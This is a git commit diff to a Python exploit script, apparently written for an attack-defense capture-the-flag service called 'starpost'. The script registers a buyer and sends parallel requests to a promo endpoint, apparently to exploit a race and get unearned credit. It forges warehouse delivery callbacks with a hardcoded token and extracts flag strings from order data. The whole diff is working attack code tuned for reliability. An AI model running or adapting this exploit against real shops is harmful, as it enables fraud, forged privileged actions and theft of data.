starpost: harden exploit runtime and extraction
This commit is contained in:
1 parent
ecd6d55523
commit
b72544209c
3 files changed
+243
-65
No files matched your search
@@ -5,8 +5,10 @@ from __future__ import annotations
|
||||
import concurrent.futures
|
||||
import json
|
||||
import math
|
||||
import re
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
@@ -14,11 +16,14 @@ from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 2.0
|
||||
MAX_RESPONSE = 128 * 1024
|
||||
MAX_PRODUCTS = 8
|
||||
MAX_CREDITS = 100
|
||||
REQUEST_TIMEOUT = 1.5
|
||||
TOTAL_TIMEOUT = 8.5
|
||||
MAX_RESPONSE = 512 * 1024
|
||||
MAX_PRODUCTS = 5
|
||||
MAX_CREDITS = 24
|
||||
MAX_WORKERS = 8
|
||||
GET_RETRIES = 1
|
||||
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
||||
|
||||
|
||||
@@ -46,7 +51,15 @@ def build_base_url(target: str) -> str:
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False):
|
||||
def request(
|
||||
base: str,
|
||||
path: str,
|
||||
method: str = "GET",
|
||||
payload=None,
|
||||
cookie: str | None = None,
|
||||
warehouse=False,
|
||||
deadline: float | None = None,
|
||||
):
|
||||
body = json.dumps(payload).encode() if payload is not None else None
|
||||
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
||||
if body is not None:
|
||||
@@ -55,25 +68,40 @@ def request(base: str, path: str, method: str = "GET", payload=None, cookie: str
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
if warehouse:
|
||||
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
attempts = GET_RETRIES + 1 if method == "GET" else 1
|
||||
for attempt in range(attempts):
|
||||
remaining = REQUEST_TIMEOUT if deadline is None else deadline - time.monotonic()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError("overall deadline exceeded")
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=min(REQUEST_TIMEOUT, remaining)) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data, response.headers
|
||||
except HTTPError as exc:
|
||||
data = exc.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data, response.headers
|
||||
except HTTPError as exc:
|
||||
return exc.code, exc.read(MAX_RESPONSE), exc.headers
|
||||
if method == "GET" and exc.code in {502, 503, 504} and attempt + 1 < attempts:
|
||||
continue
|
||||
return exc.code, data, exc.headers
|
||||
except (URLError, TimeoutError, OSError):
|
||||
if attempt + 1 >= attempts:
|
||||
raise
|
||||
raise TimeoutError("request attempts exhausted")
|
||||
|
||||
|
||||
def register_buyer(base: str) -> str:
|
||||
def register_buyer(base: str, deadline: float) -> str:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, headers = request(
|
||||
base,
|
||||
"/api/register",
|
||||
method="POST",
|
||||
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
deadline=deadline,
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
@@ -84,34 +112,57 @@ def register_buyer(base: str) -> str:
|
||||
return jar["session"].value
|
||||
|
||||
|
||||
def credit(base: str, cookie: str, code: str) -> bool:
|
||||
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie)
|
||||
def credit(base: str, cookie: str, code: str, deadline: float) -> bool:
|
||||
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie, deadline=deadline)
|
||||
return status == 200
|
||||
|
||||
|
||||
def buy(base: str, cookie: str, product_id: int):
|
||||
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie)
|
||||
def add_to_cart(base: str, cookie: str, product_id: int, deadline: float) -> bool:
|
||||
status, _, _ = request(
|
||||
base,
|
||||
"/api/cart",
|
||||
method="POST",
|
||||
payload={"product_id": product_id},
|
||||
cookie=cookie,
|
||||
deadline=deadline,
|
||||
)
|
||||
return status == 201
|
||||
|
||||
|
||||
def checkout(base: str, cookie: str, deadline: float) -> list[int]:
|
||||
status, raw, _ = request(base, "/api/cart/checkout", method="POST", payload={}, cookie=cookie, deadline=deadline)
|
||||
if status != 201:
|
||||
return None
|
||||
return []
|
||||
data = json.loads(raw)
|
||||
return int(data["id"])
|
||||
orders = data.get("orders") if isinstance(data, dict) else None
|
||||
if not isinstance(orders, list):
|
||||
return []
|
||||
order_ids = []
|
||||
for order in orders:
|
||||
try:
|
||||
order_ids.append(int(order["id"]))
|
||||
except (KeyError, TypeError, ValueError):
|
||||
continue
|
||||
return order_ids
|
||||
|
||||
|
||||
def deliver(base: str, order_id: int) -> bool:
|
||||
def deliver(base: str, order_id: int, deadline: float) -> bool:
|
||||
status, _, _ = request(
|
||||
base,
|
||||
"/api/warehouse/callback",
|
||||
method="POST",
|
||||
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
||||
warehouse=True,
|
||||
deadline=deadline,
|
||||
)
|
||||
return status == 200
|
||||
|
||||
|
||||
def run_exploit(target: str) -> str:
|
||||
deadline = time.monotonic() + TOTAL_TIMEOUT
|
||||
base = build_base_url(target)
|
||||
cookie = register_buyer(base)
|
||||
status, raw, _ = request(base, "/api/account", cookie=cookie)
|
||||
cookie = register_buyer(base, deadline)
|
||||
status, raw, _ = request(base, "/api/account", cookie=cookie, deadline=deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"account endpoint returned HTTP {status}")
|
||||
account = json.loads(raw)
|
||||
@@ -119,7 +170,7 @@ def run_exploit(target: str) -> str:
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("promo code missing")
|
||||
|
||||
status, raw, _ = request(base, "/api/products")
|
||||
status, raw, _ = request(base, "/api/products", deadline=deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"products endpoint returned HTTP {status}")
|
||||
products = json.loads(raw)
|
||||
@@ -143,26 +194,27 @@ def run_exploit(target: str) -> str:
|
||||
|
||||
required_credits = max(0, math.ceil((total - 100) / 100))
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits)))
|
||||
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"], deadline), range(required_credits)))
|
||||
if credited != required_credits:
|
||||
raise ValueError("promo crediting was incomplete")
|
||||
|
||||
order_ids = []
|
||||
for product_id in selected:
|
||||
order_id = buy(base, cookie, product_id)
|
||||
if order_id is not None:
|
||||
order_ids.append(order_id)
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids))
|
||||
added = sum(pool.map(lambda product_id: add_to_cart(base, cookie, product_id, deadline), selected))
|
||||
if added == 0:
|
||||
return ""
|
||||
order_ids = checkout(base, cookie, deadline)
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
delivered = sum(pool.map(lambda order_id: deliver(base, order_id, deadline), order_ids))
|
||||
|
||||
status, raw, _ = request(base, "/api/orders", cookie=cookie)
|
||||
status, raw, _ = request(base, "/api/orders", cookie=cookie, deadline=deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"orders endpoint returned HTTP {status}")
|
||||
print(
|
||||
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders",
|
||||
f"credited {credited} times, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return raw.decode("utf-8", errors="replace")
|
||||
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
|
||||
return b"\n".join(candidates).decode("ascii")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
@@ -174,7 +226,8 @@ def main() -> int:
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(output, flush=True)
|
||||
if output:
|
||||
print(output, flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user